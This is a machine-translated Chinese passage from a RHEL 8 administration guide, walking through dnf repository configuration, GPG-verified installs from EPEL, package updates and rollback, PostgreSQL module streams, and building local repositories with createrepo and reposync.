-/usr/bin/dnf -[root@rhel8 ~]# ll /usr/bin/dnf -lrwxrwxrwx. 1 root root 5 jul 29 2020 /usr/bin/dnf -> dnf-3 -``` - -两者和在 RHEL8 中均不能区分。 从现在起,我们将只使用`dnf`,但请记住,如果您喜欢`yum`,请随意使用它。 - -提示 - -**YUM**曾经是**Yellowdog Updater Modified**的首字母缩写,这是一个开始于 mac 的 Linux 发行版 Yellowdog 的项目。 **DNF**代表**Dandified YUM** - -现在让我们看看在订阅附件`/etc/yum.repos.d/redhat.repo`期间创建的存储库定义。 我们可以编辑该文件,然后进入`BaseOS`存储库的入口,如上图`rhel-8-for-x86_64-baseos-rpms`所示: - -```sh -[rhel-8-for-x86_64-baseos-rpms] -name = Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -baseurl = https://cdn.redhat.com/content/dist/rhel8/$releasever/x86_64/baseos/os -enabled = 1 -gpgcheck = 1 -gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-redhat-release -sslverify = 1 -sslcacert = /etc/rhsm/ca/redhat-uep.pem -sslclientkey = /etc/pki/entitlement/7881187918683323950-key.pem -sslclientcert = /etc/pki/entitlement/7881187918683323950.pem -metadata_expire = 86400 -enabled_metadata = 1 -``` - -正如您可以看到的,文件中的每个部分都以开始,即括号之间的部分名称——在前面的例子中是`[rhel-8-for-x86_64-baseos-rpms]`。 现在让我们检查一下这部分的所有条目: - -* **name**:存储库的长描述性名称。 它是我们在前面的示例中列出回购时显示的那个。 -* **baseurl**:包将从其中获得的主要资源。 在本例中,它是一个单一的 HTTPS 源。 它包含在被访问之前将被替换的`$releasever`变量。 其他方法还有 NFS、HTTP 和 FTP。 -* **enabled**:一个变量,提供一种简单的方法来启用或禁用系统中的存储库。 当设置为`1`时,它将被启用,当设置为`0`时,它将被禁用。 -* **gpgcheck**:包校验机制。 当设置为`1`时,它将被启用,并且系统中安装的所有带有`dnf`/`yum`的包将根据提供的密钥使用其`gpg`签名进行验证。 -* **gpgkey**:验证密钥,使用`gpg`,下载软件包。 -* **sslverify**:验证机器订阅 CDN 的机制。 设置为`1`时启用,设置为`0`时禁用。 -* **sslcacert**:用于验证客户端证书的证书颁发机构。 -* **sslclient key**:用于定制客户端证书的客户端密钥。 -* **sslclientcert**:客户机证书,机器将使用它根据 CDN 来标识自己。 -* **metadata_expire**:认为检索到的元数据过期的秒数。 这里显示的默认值是 24 小时。 -* **enabled_metadata**:允许其他工具(不是`dnf`)使用此存储库中下载的元数据的选项。 - -要运行存储库,最小的必需选项是:`name`、`baseurl`和`gpgckeck`,最后一个选项设置为`0`。 - -重要提示 - -虽然可以通过编辑文件来更改存储库的配置,但修改 Red Hat 提供的 repos 的最佳方法是使用本章将展示的命令。 这是因为`redhat.repo`文件在刷新数据时将被订阅管理器覆盖。 - -通过运行`dnf repolist`,我们获得了系统中存储库`enabled`的列表。 如果我们想要查看所有的存储库,启用的和禁用的该怎么办? 可以通过运行`dnf``repolist --all`来实现: - -![Figure 7.11 – Partial output of dnf repolist –all ](img/B16799_07_011.jpg) - -图 7.11 - dnf repolist 的部分输出- all - -这个列表非常广泛。 它包括存储库和二进制文件,这些二进制文件在许多生产案例中使用,从 SAP 到使用 Satellite 的管理系统。 我们可以用`grep`过滤它来搜索`supplementary`: - -```sh -[root@rhel8 ~]# dnf repolist --all | grep supplementary -rhel-8-for-x86_64-supplementary-debug-rpms disabled -rhel-8-for-x86_64-supplementary-eus-debug-rpms disabled -rhel-8-for-x86_64-supplementary-eus-rpms disabled -rhel-8-for-x86_64-supplementary-eus-source-rpms disabled -rhel-8-for-x86_64-supplementary-rpms disabled -rhel-8-for-x86_64-supplementary-source-rpms disabled -``` - -这里有四种不同类型的渠道: - -* **常规通道**:例如`rhel-8-for-x86_64-supplementary-rpms`,其中包含准备安装到系统中的软件包,也称为`rpms`。 这些适用于标准维护期间。 -* **扩展更新支持**:例如`rhel-8-for-x86_64-supplementary-eus-rpms`,名称中包含`eus`。 它们提供带有后接口的包,以便能够在更长的时间内保持相同的小版本。 除非第三方供应商要求,否则不要使用它们。 -* **源通道**:如`rhel-8-for-x86_64-supplementary-source-rpms`,名称中包含`source`。 它们提供用于构建在*常规*和*扩展更新支持*通道中交付的包的源。 -* **调试通道**:例如`rhel-8-for-x86_64-supplementary-debug-rpms`,其名称中包含`debug`。 其中包括在构建一个对问题进行深层次故障排除有用的包时生成的的调试信息。 - -我们可以通过使用`dnf`的`config-manager`选项启用`rhel-8-for-x86_64-supplementary-rpms`,运行如下: - -```sh -[root@rhel8 ~]# dnf config-manager --enable rhel-8-for-x86_64-supplementary-rpms -Updating Subscription Management repositories. -[root@rhel8 ~]# dnf repolist -Updating Subscription Management repositories. -repo id repo name -rhel-8-for-x86_64-appstream-rpms Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) -rhel-8-for-x86_64-baseos-rpms Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -rhel-8-for-x86_64-supplementary-rpms Red Hat Enterprise Linux 8 for x86_64 - Supplementary (RPMs) -``` - -现在已经启用了存储库。 您可能想尝试启用或禁用其他存储库来进行练习。 - -现在让我们尝试添加一个我们只知道其 URL 的存储库,例如**EPEL**repo。 这个 repo 包含了 Enterprise Linux 的**Extra Packages**,并且是专门为 Linux 构建的,但是 Red Hat 不支持。 因为它是一个著名的回购,复制在世界和【显示】有一个当地的镜子在 http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/(在镜子里你可以找到当地的一个列表:[https://admin.fedoraproject.org/mirrormanager/mirrors/EPEL【病人】)。 现在我们可以使用`dnf config-manager`添加这个回购:](https://admin.fedoraproject.org/mirrormanager/mirrors/EPEL) - -```sh -[root@rhel8 ~]# dnf config-manager --add-repo="http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/" -Updating Subscription Management repositories. -Adding repo from: http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -[root@rhel8 ~]# dnf repolist -Updating Subscription Management repositories. -repo id repo name -mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_ created by dnf config-manager from http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -rhel-8-for-x86_64-appstream-rpms Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) -rhel-8-for-x86_64-baseos-rpms Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -rhel-8-for-x86_64-supplementary-rpms Red Hat Enterprise Linux 8 for x86_64 - Supplementary (RPMs) -``` - -我们可以检查新创建的文件-`/etc/yum.repos.d/mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_.repo`: - -```sh -[mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_] -name=created by dnf config-manager from http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -baseurl=http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -enabled=1 -``` - -您可能已经意识到在此回购中缺少一个选项,但是,让我们继续前进。 我可以搜索 EPEL 中可用的包,例如`screen`: - -```sh -[root@rhel8 ~]# dnf info screen -Updating Subscription Management repositories. -created by dnf config-manager from http://mirror.uv.es/mirror/fedor 18 MB/s | 8.9 MB 00:00 -Last metadata expiration check: 0:00:02 ago on sáb 13 feb 2021 15:34:56 CET. -Available Packages -Name : screen -Version : 4.6.2 -Release : 10.el8 -Architecture : x86_64 -Size : 582 k -Source : screen-4.6.2-10.el8.src.rpm -Repository : mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_ -Summary : A screen manager that supports multiple logins on one terminal -URL : http://www.gnu.org/software/screen -License : GPLv3+ -Description : The screen utility allows you to have multiple logins on just one - : terminal. Screen is useful for users who telnet into a machine or are - : connected via a dumb terminal, but want to use more than just one - : login. - : - : Install the screen package if you need a screen manager that can - : support multiple logins on one terminal. -``` - -包找到,现在让我们试着安装它: - -```sh -[root@rhel8 ~]# dnf install screen -[omitted] -Install 1 Package - -Total download size: 582 k -Installed size: 971 k -Is this ok [y/N]: y -Downloading Packages: -screen-4.6.2-10.el8.x86_64.rpm 2.8 MB/s | 582 kB 00:00 ----------------------------------------------------------------------------------------------------- -Total 2.8 MB/s | 582 kB 00:00 -warning: /var/cache/dnf/mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_-ee39120d2e2a3152/packages/screen-4.6.2-10.el8.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID 2f86d6a1: NOKEY -Public key for screen-4.6.2-10.el8.x86_64.rpm is not installed -The downloaded packages were saved in cache until the next successful transaction. -You can remove cached packages by executing 'yum clean packages'. -Error: GPG check FAILED -``` - -我们看有一个错误尝试安装从这个来源,因为它要求`gpgcheck`和`gpgkey`条目配置有适当的回购担保(如`gpg`确保交付的内容是一样的内容创建)。 - -我们可以从同一个镜像中获得`gpgkey`,URL 为[http://mirror.uv.es/mirror/fedora-epel/RPM-GPG-KEY-EPEL-8](http://mirror.uv.es/mirror/fedora-epel/RPM-GPG-KEY-EPEL-8),并将其放到`dnf`将要搜索的地方`/etc/pki/rpm-gpg/`: - -```sh -[root@rhel8 ~]# curl -s http://mirror.uv.es/mirror/fedora-epel/RPM-GPG-KEY-EPEL-8 > /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-8 -[root@rhel8 ~]# head –n 1 /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-8 ------BEGIN PGP PUBLIC KEY BLOCK----- -``` - -现在让我们将文件`/etc/yum.repos.d/mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_.repo`修改为如下所示: - -```sh -[mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_] -name=created by dnf config-manager from http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -baseurl=http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -enabled=1 -gpgcheck=1 -gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-8 -``` - -您可以看到我们在文件中添加了`gpgcheck`和`gpgkey`两个条目。 让我们再次尝试安装`screen`包: - -```sh -[root@rhel8 ~]# dnf install screen -[omitted] -Install 1 Package - -Total size: 582 k -Installed size: 971 k -Is this ok [y/N]: y -Downloading Packages: -[SKIPPED] screen-4.6.2-10.el8.x86_64.rpm: Already downloaded -warning: /var/cache/dnf/mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_-ee39120d2e2a3152/packages/screen-4.6.2-10.el8.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID 2f86d6a1: NOKEY -created by dnf config-manager from http://mirror.uv.es/mirror/fedor 1.6 MB/s | 1.6 kB 00:00 -Importing GPG key 0x2F86D6A1: -Userid : "Fedora EPEL (8) " -Fingerprint: 94E2 79EB 8D8F 25B2 1810 ADF1 21EA 45AB 2F86 D6A1 -From : /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-8 -Is this ok [y/N]: y -Key imported successfully -Running transaction check -Transaction check succeeded. -Running transaction test -Transaction test succeeded. -Running transaction - Preparing : 1/1 - Running scriptlet: screen 4.6.2-10.el8.x86_64 1/1 - Installing : screen-4.6.2-10.el8.x86_64 1/1 - Running scriptlet: screen-4.6.2-10.el8.x86_64 1/1 - Verifying : screen-4.6.2-10.el8.x86_64 1/1 -Installed products updated. - -Installed: - screen-4.6.2-10.el8.x86_64 - -Complete! -``` - -您将注意到,其中有一个步骤要求您确认`gpg`键指纹是否正确:`94E2 79EB 8D8F 25B2 1810 ADF1 21EA 45AB 2F86 D6A1`。 为此,您可以转到 Fedora 安全页面,因为 Fedora 项目正在管理 EPEL,并进行检查。 该页面的 URL 为[https://getfedora.org/security/](https://getfedora.org/security/): - -![Figure 7.12 – Partial capture of the Fedora security page with an EPEL8 gpg fingerprint ](img/B16799_07_012.jpg) - -图 7.12 -使用 EPEL8 gpg 指纹对 Fedora 安全页面进行部分捕获 - -正如你可以看到的,它是正确的。 我们刚刚验证了我们正在使用的签名与管理它的项目宣布的指纹相同,现在从这个 repo 下载的所有包都将使用它进行验证,以避免包篡改(即有人在你收到它之前更改了内容)。 - -让我们回顾一下我们使用的命令,它提供了`dnf`来管理回购: - -![](img/B16799_07_Table_7.1.jpg) - -现在我们知道了如何在 RHEL 中安全地管理存储库,让我们开始向和系统中添加更多的包,更新它们,并在需要时撤销安装。 - -# 使用 YUM/DNF 进行软件安装、更新和回滚 - -在上一节中,我们看到了如何安装包。 在这个过程中,我们看到一个确认请求,以确保我们确定我们想要在系统中包含新软件。 现在让我们安装带有`dnf install`的软件,但是使用`–y`选项对命令将发出的所有问题回答“是”: - -```sh -[root@rhel8 ~]# dnf install zip –y -[omitted] -Installed: -unzip-6.0-43.el8.x86_64 zip-3.0-23.el8.x86_64 - -Complete! -``` - -如您所见,安装了`zip`包,以及一个名为`unzip`的依赖包,而没有询问任何问题。 我们还注意到,`dnf`查找依赖包,解析**依赖包**,并安装运行包所需的所有东西。 这样,系统就保持在一个一致的状态,使其更加可靠和可预测。 - -我们可以看到哪些包准备好要更新使用`dnf check-update`命令: - -```sh -[root@rhel8 ~]# dnf check-update -Updating Subscription Management repositories. -Last metadata expiration check: 0:20:00 ago on sáb 13 feb 2021 16:04:58 CET. - -kernel.x86_64 4.18.0-240.10.1.el8_3 rhel-8-for-x86_64-baseos-rpms -kernel-core.x86_64 4.18.0-240.10.1.el8_3 rhel-8-for-x86_64-baseos-rpms -kernel-modules.x86_64 4.18.0-240.10.1.el8_3 rhel-8-for-x86_64-baseos-rpms -kernel-tools.x86_64 4.18.0-240.10.1.el8_3 rhel-8-for-x86_64-baseos-rpms -kernel-tools-libs.x86_64 4.18.0-240.10.1.el8_3 rhel-8-for-x86_64-baseos-rpms -python3-perf.x86_64 4.18.0-240.10.1.el8_3 rhel-8-for-x86_64-baseos-rpms -qemu-guest-agent.x86_64 15:4.2.0-34.module+el8.3.0+8829+e7a0a3ea.1 rhel-8-for-x86_64-appstream-rpms -selinux-policy.noarch 3.14.3-54.el8_3.2 rhel-8-for-x86_64-baseos-rpms -selinux-policy-targeted.noarch 3.14.3-54.el8_3.2 rhel-8-for-x86_64-baseos-rpms -sudo.x86_64 1.8.29-6.el8_3.1 rhel-8-for-x86_64-baseos-rpms -tzdata.noarch 2021a-1.el8 rhel-8-for-x86_64-baseos-rpms -``` - -更新包和应用补丁和安全补丁的最简单方法是使用`dnf update`: - -```sh -[root@rhel8 ~]# dnf update tzdata –y -[omitted] -Upgraded: - tzdata-2021a-1.el8.noarch -Complete! -``` - -要更新所有内容,只需运行`dnf update`而不指定包: - -![Figure 7.13 – Partial capture of RHEL updating with dnf/yum ](img/B16799_07_013.jpg) - -图 7.13 -使用 dnf/yum 更新 RHEL 的部分捕获 - -在系统中运行`dnf update`的结果如下: - -```sh -Upgraded: - kernel-tools-4.18.0-240.10.1.el8_3.x86_64 - kernel-tools-libs-4.18.0-240.10.1.el8_3.x86_64 - python3-perf-4.18.0-240.10.1.el8_3.x86_64 - qemu-guest-agent 15:4.2.0-34.module+el8.3.0+8829+e7a0a3ea.1.x86_64 - selinux-policy-3.14.3-54.el8_3.2.noarch - selinux-policy-targeted-3.14.3-54.el8_3.2.noarch - sudo-1.8.29-6.el8_3.1.x86_64 - -Installed: - kernel-4.18.0-240.10.1.el8_3.x86_64 - kernel-core-4.18.0-240.10.1.el8_3.x86_64 - kernel-modules-4.18.0-240.10.1.el8_3.x86_64 - -Complete! -``` - -这些是系统中升级包的示例。 您的系统可能会有不同的输出,这取决于您上次升级它的时间和新发布的软件包。 - -重要提示 - -`kernel`是系统最重要的部分。 它能够实现硬件访问和操作系统的所有基本功能。 这就是为什么没有升级它,而是安装了一个新版本。 系统保留前两个版本,以防系统无法启动,并且可以选择其中一个轻松运行。 - -我们可以使用`dnf search`命令搜索可用的包: - -```sh -[root@rhel8 ~]# dnf search wget -Updating Subscription Management repositories. -Last metadata expiration check: 0:05:02 ago on sáb 13 feb 2021 16:34:00 CET. -=================== Name Exactly Matched: wget =================== -wget.x86_64 : A utility for retrieving files using the HTTP or FTP protocols -``` - -我们可以获得关于包的扩展信息,安装与否,通过`dnf info`: - -```sh -[root@rhel8 ~]# dnf info wget -Updating Subscription Management repositories. -Last metadata expiration check: 0:06:45 ago on sáb 13 feb 2021 16:34:00 CET. -Available Packages -Name : wget -Version : 1.19.5 -Release : 10.el8 -Architecture : x86_64 -Size : 734 k -Source : wget-1.19.5-10.el8.src.rpm -Repository : rhel-8-for-x86_64-appstream-rpms -Summary : A utility for retrieving files using the HTTP or FTP protocols -URL : http://www.gnu.org/software/wget/ -License : GPLv3+ -Description : GNU Wget is a file retrieval utility which can use either the HTTP or - : FTP protocols. Wget features include the ability to work in the - : background while you are logged out, recursive retrieval of - : directories, file name wildcard matching, remote file timestamp - : storage and comparison, use of Rest with FTP servers and Range with - : HTTP servers to retrieve files over slow or unstable connections, - : support for Proxy servers, and configurability. -``` - -我们还可以使用`dnf remove`删除已安装的包: - -```sh -[root@rhel8 ~]# dnf remove screen –y -[omitted] -Removed: screen-4.6.2-10.el8.x86_64 -Complete! -``` - -有时您想要安装一些集合在一起执行特定任务的包,这就是**包组**的作用。 让我们先用`dnf grouplist`得到一个组的列表: - -```sh -[root@rhel8 ~]# dnf grouplist | grep Tools - Additional Virtualization Tools - RPM Development Tools - Security Tools - Development Tools - System Tools - Graphical Administration Tools -``` - -您可以在没有`| grep Tools`的情况下运行它来查看完整的列表。 - -让我们用`dnf groupinstall`来安装`System Tools`组: - -```sh -[root@rhel8 ~]# dnf groupinstall "System Tools" -Updating Subscription Management repositories. -Last metadata expiration check: 0:16:03 ago on sáb 13 feb 2021 16:34:00 CET. -Dependencies resolved. -``` - -命令的整个输出如下截图所示: - -![Figure 7.14 – Partial capture of RHEL installing a group dnf/yum ](img/B16799_07_014.jpg) - -图 7.14 - RHEL 安装 dnf/yum 组的部分捕获 - -一旦预安装完成,我们可以看到我们将安装 78 个包: - -```sh -Install 78 Packages - -Total download size: 44 M -Installed size: 141 M -Is this ok [y/N]:y -``` - -用`y`回答将执行安装(注意,`–y`选项在这里也适用,假设所有问题都是 yes)。 - -我们可以用`dnf history`检查所有安装事务的历史: - -![Figure 7.15 – Partial capture of RHEL dnf/yum history ](img/B16799_07_015.jpg) - -图 7.15 - RHEL dnf/yum 历史的部分捕获 - -很容易从每个交易中获得特定的信息,指定它的数量`dnf history`: - -```sh -[root@rhel8 ~]# dnf history info 12 -Updating Subscription Management repositories. -Transaction ID : 12 -Begin time : sáb 13 feb 2021 16:27:06 CET -Begin rpmdb : 393:cec089e1c176497af3eb97582311fcd7cb7adb02 -End time : sáb 13 feb 2021 16:27:06 CET (0 seconds) -End rpmdb : 393:6cf80ca6746149100bb1a49d76ebbf7407804e56 -User : root -Return-Code : Success -Releasever : 8 -Command Line : update tzdata -Comment : -Packages Altered: - Upgrade tzdata-2021a-1.el8.noarch @rhel-8-for-x86_64-baseos-rpms - Upgraded tzdata-2020d-1.el8.noarch @@System -``` - -更有趣的是,我们可以回滚到以前用`dnf history rollback`标记的一个点。 为了使其更快,*安装*`lsof`包,然后*回滚*到之前的数字: - -```sh -[root@rhel8 ~]# dnf history rollback 15 -[omitted] -Removed: lsof-4.93.2-1.el8.x86_64 -Complete! -``` - -我们还可以使用`yum history undo`撤销单个事务。 让我们看看这笔交易: - -```sh -[root@rhel8 ~]# dnf history undo 10 –y -[omitted] -Removed: - screen-4.6.2-10.el8.x86_64 -Complete! -``` - -让我们回顾一下用`dnf`完成的最重要的交易: - -![](img/B16799_07_Table_7.2a.jpg) - -![](img/B16799_07_Table_7.2b.png) - -RHEL 8 上有一个以前版本中没有的新特性,即**模块化**。 它允许系统中同一个包有不同的版本。 它是所有管理与`dnf`,所以没有必要安装额外的软件: - -```sh -[root@rhel8 repos]# dnf module list postgresql -Updating Subscription Management repositories. -Last metadata expiration check: 0:00:30 ago on dom 14 feb 2021 19:25:32 CET. -Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) -Name Stream Profiles Summary -postgresql 9.6 client, server [d] PostgreSQL server and client module -postgresql 10 [d] client, server [d] PostgreSQL server and client module -postgresql 12 client, server [d] PostgreSQL server and client module - -Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled -``` - -提示 - -不指定任何包的`dnf module list`命令将显示完整的模块列表。 试一试! - -如您所见,在 RHEL8 中有三个不同版本的 PostgreSQL 数据库,分别是 9.6、10 和 12。 它们都没有启用,默认是版本 10。 - -让我们使用`dnf module`来启用 PostgreSQL 的 12 版: - -```sh -[root@rhel8 ~]# dnf module enable postgresql:12 -[omitted] -Enabling module streams: postgresql 12 -[omitted] -Is this ok [y/N]: y -Complete! -[root@rhel8 ~]# dnf module list postgresql -``` - -前面命令的输出如下截图所示: - -![Figure 7.16 – Capture of the PostgreSQL module list ](img/B16799_07_016.jpg) - -图 7.16 -捕获 PostgreSQL 模块列表 - -从现在开始,Yum 将安装、更新和维护 PostgreSQL 的系统版本 12。 让我们安装它: - -```sh -[root@rhel8 ~]# dnf install postgresql -y -[omitted] -Installed: - libpq-12.5-1.el8_3.x86_64 - postgresql-12.5-1.module+el8.3.0+9042+664538f4.x86_64 -Complete! -``` - -在前面的示例中,安装了版本 12。 - -我们可以移除 PostgreSQL 包并重置模块状态回到初始点: - -```sh -[root@rhel8 ~]# dnf remove postgresql -y -[omitted] -Removing: -postgresql x86_64 12.5-1.module+el8.3.0+9042+664538f4 @rhel-8-for-x86_64-appstream-rpms 5.4 M -Removing unused dependencies: -libpq x86_64 12.5-1.el8_3 @rhel-8-for-x86_64-appstream-rpms 719 k -[omitted] -Complete! -[root@rhel8 ~]# dnf module reset postgresql -Updating Subscription Management repositories. -Last metadata expiration check: 1:23:08 ago on dom 14 feb 2021 19:25:32 CET. -Dependencies resolved. -=========================================================Package Architecture Version Repository Size -=========================================================Resetting modules: -postgresql -Transaction Summary -=========================================================Is this ok [y/N]: y -Complete! -[root@rhel8 ~]# dnf module list postgresql -Updating Subscription Management repositories. -Last metadata expiration check: 1:23:21 ago on dom 14 feb 2021 19:25:32 CET. -Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) -Name Stream Profiles Summary -postgresql 9.6 client, server [d] PostgreSQL server and client module -postgresql 10 [d] client, server [d] PostgreSQL server and client module -postgresql 12 client, server [d] PostgreSQL server and client module - -Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled -``` - -让我们回顾一下本节中所示的模块化命令: - -![](img/B16799_07_Table_7.3.jpg) - -提示 - -要了解更多关于模块化的信息,请运行`man dnf.modularity`进入系统手册页面。 - -现在我们已经学习了如何在 RHEL 中处理软件事务,让我们继续学习如何创建和处理本地存储库。 - -# 使用 createrepo 和 reposync 创建和同步存储库 - -常见的,收到 RPM 文件并保持它的库我们可以用在我们的机器上(有时与其他机器分享与 NFS 共享的一个 web 服务器)。 当我们开始构建自己的 rpm 时,我们通常会分发它们,为此,我们需要创建一个存储库。 为此,我们可以使用**createrepo**工具。 - -首先让我们在`/var/tmp`中为 repos 创建一个文件夹: - -```sh -[root@rhel8 ~]# cd /var/tmp/ -[root@rhel8 tmp]# mkdir repos -[root@rhel8 tmp]# cd repos/ -``` - -然后为`slack`创建一个文件夹,这是与团队沟通的常用工具,下载 RPM 包: - -```sh -[root@rhel8 repos]# mkdir slack -[root@rhel8 repos]# cd slack/ -[root@rhel8 repos]# curl -s -O https://downloads.slack-edge.com/linux_releases/slack-4.12.2-0.1.fc21.x86_64.rpm -[root@rhel8 slack]# ls -l -total 62652 --rw-r--r--. 1 root 64152596 feb 14 18:12 slack-4.12.2-0.1.fc21.x86_64.rpm -``` - -现在我们有一个存储库和一个 RPM 文件。 我们可以有一个与许多 rpm,因为我们想要,但我们将继续只有这一个包。 - -让我们安装`createrepo`工具: - -```sh -[root@rhel8 slack]# dnf install -y createrepo -[omitted] -Installed: - createrepo_c-0.15.11-2.el8.x86_64 createrepo_c-libs-0.15.11-2.el8.x86_64 drpm-0.4.1-3.el8.x86_64 -Complete! -``` - -现在我们可以简单地运行它,在当前文件夹中使用以下命令创建一个存储库: - -```sh -[root@rhel8 slack]# createrepo . -Directory walk started -Directory walk done - 1 packages -Temporary output repo path: ./.repodata/ -Preparing sqlite DBs -Pool started (with 5 workers) -Pool finished -[root@rhel8 slack]# ls -l -total 62656 -drwxr-xr-x. 2 root 4096 feb 14 18:19 repodata --rw-r--r--. 1 root 64152596 feb 14 18:12 slack-4.12.2-0.1.fc21.x86_64.rpm -``` - -我们看到已经创建了`repodata`文件夹。 在其中,我们可以找到定义存储库内容的`repomd.xml`文件以及最近创建的索引文件: - -```sh -[root@rhel8 slack]# ls repodata/ -13b6b81deb95354164189de7fe5148b4dbdb247fb910973cc94c120d36c0fd27-filelists.xml.gz -18fb83942e8cb5633fd0653a4c8ac3db0f93ea73581f91d90be93256061043f0-other.sqlite.bz2 -aa72116fa9b47caaee313ece2c16676dce26ffcc78c69dc74ebe4fc59aea2c78-filelists.sqlite.bz2 -d5e2ff4b465544a423bfa28a4bc3d054f316302feab8604d64f73538809b1cf0-primary.xml.gz -e92cd0e07c758c1028054cfeb964c4e159004be61ae5217927c27d27ea2c7966-primary.sqlite.bz2 -f68973de8a710a9a078faf49e90747baaf496c5a43865cd5dc5757512a0664a8-other.xml.gz -repomd.xml -``` - -现在我们可以将知识库添加到系统中。 我们可以不使用`gpg`签名来执行,将`gpgcheck`变量设置为`0`,但是为了更好的安全性,让我们使用`gpg`签名来执行。 通过在`slack`页面搜索,找到签名并下载到`/etc/pki/rpm-gpg`目录: - -```sh -[root@rhel8 slack]# curl https://slack.com/gpg/slack_pubkey_2019.gpg -o /etc/pki/rpm-gpg/RPM-GPG-KEY-SLACK -``` - -然后我们通过创建文件`/etc/yum.repos.d/local-slack.repo`将存储库添加到系统中,文件内容如下: - -```sh -[local-slack-repo] -name=Local Slack Repository -baseurl=file:///var/tmp/repos/slack -enabled=1 -gpgcheck=1 -gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-SLACK -``` - -现在我们可以尝试安装`slack`。 为了使完全运行,将需要安装包组*Server 和 GUI*,但是,为了本练习的目的,我们可以继续安装它。 我们可以通过运行`dnf -y install slack`来实现这一点——请注意`gpg`键是如何自动导入的,包是如何验证和安装的: - -```sh -root@rhel8 slack]# dnf -y install slack -[omitted] -warning: /var/tmp/repos/slack/slack-4.12.2-0.1.fc21.x86_64.rpm: Header V4 RSA/SHA1 Signature, key ID 8e6c9578: NOKEY -Local Slack Repository 1.6 MB/s | 1.6 kB 00:00 -Importing GPG key 0x8E6C9578: -Userid : "Slack Packages (Signing Key) " -Fingerprint: 93D5 D2A6 2895 1B43 83D8 A4CE F184 6207 8E6C 9578 -From : /etc/pki/rpm-gpg/RPM-GPG-KEY-SLACK -Key imported successfully -Running transaction check -Transaction check succeeded. -Running transaction test -Transaction test succeeded. -[omitted] - slack-4.12.2-0.1.fc21.x86_64 -Complete! -``` - -一旦新版本的 Slack 出现,我们就可以将其下载到相同的文件夹中,并通过再次运行`createrepo`重新生成存储库索引。 这样,所有使用这个存储库的系统将在运行`yum update`时更新`slack`。 这是保持所有系统标准化的好方法,并且在中保持相同的版本。 对于高级功能当管理 RPM 存储库时,请检查 Red Hat Satellite。 - -有时,我们希望在系统中拥有存储库的本地副本。 为此,我们可以使用**reposync**工具。 - -首先,我们安装`reposync`,它包含在`yum-utils`包中: - -```sh -[root@rhel8 ~]# dnf install yum-utils -y -[omitted] -Installed: - yum-utils-4.0.17-5.el8.noarch -Complete! -``` - -提示 - -如果尝试安装`dnf-utils`包,将安装相同的包。 - -现在是时候禁用 Red Hat 提供的所有回购,除了`rhel-8-for-x86_64-baseos-rpms`,这可以通过以下命令完成: - -```sh -[root@rhel8 ~]# subscription-manager repos --disable="*" --enable="rhel-8-for-x86_64-baseos-rpms" -``` - -检查更改的时间: - -```sh -[root@rhel8 ~]# dnf repolist -Updating Subscription Management repositories. -repo id repo name -local-slack-repo Local Slack Repository -mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_ created by dnf config-manager from http://mirror.uv.es/mirror/fedora-epel/8/Everything/x86_64/ -rhel-8-for-x86_64-baseos-rpms Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -``` - -我们也可以禁用其他回购,但【显示】时间我们会以不同的方式,重命名他们的东西远远不止`.repo`: - -```sh -[root@rhel8 ~]# mv /etc/yum.repos.d/local-slack.repo /etc/yum.repos.d/local-slack.repo_disabled -[root@rhel8 ~]# mv /etc/yum.repos.d/mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_.repo /etc/yum.repos.d/mirror.uv.es_mirror_fedora-epel_8_Everything_x86_64_.repo_disabled -[root@rhel8 ~]# yum repolist -Updating Subscription Management repositories. -repo id repo name -rhel-8-for-x86_64-baseos-rpms Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -``` - -现在我们可以运行带有以下选项的`reposync`: - -```sh -[root@rhel8 ~]# cd /var/tmp/repos -[root@rhel8 repos]# reposync --newest-only --download-metadata --destdir /var/tmp/repos -Updating Subscription Management repositories. -[omitted] -(1725/1726): selinux-policy-3.14.3-54.el8_3.2.noarch.rpm 2.3 MB/s | 622 kB 00:00 -(1726/1726): selinux-policy-devel-3.14.3-54.el8_3.2.noarch.rpm 4.1 MB/s | 1.5 MB 00:00 -[root@rhel8 repos]# ls -rhel-8-for-x86_64-baseos-rpms slack -[root@rhel8 repos]# ls rhel-8-for-x86_64-baseos-rpms/ -Packages repodata -[root@rhel8 repos]# ls rhel-8-for-x86_64-baseos-rpms/repodata/ -14d4e7f9bbf5901efa7c54db513a2ac68cb0b6650ae23a2e0bff15dc03565f25-other.sqlite.bz2 -26727acbd819c59d4da7c8aeaddb027adbfb7ddb4861d31922465b4c0922f969-updateinfo.xml.gz 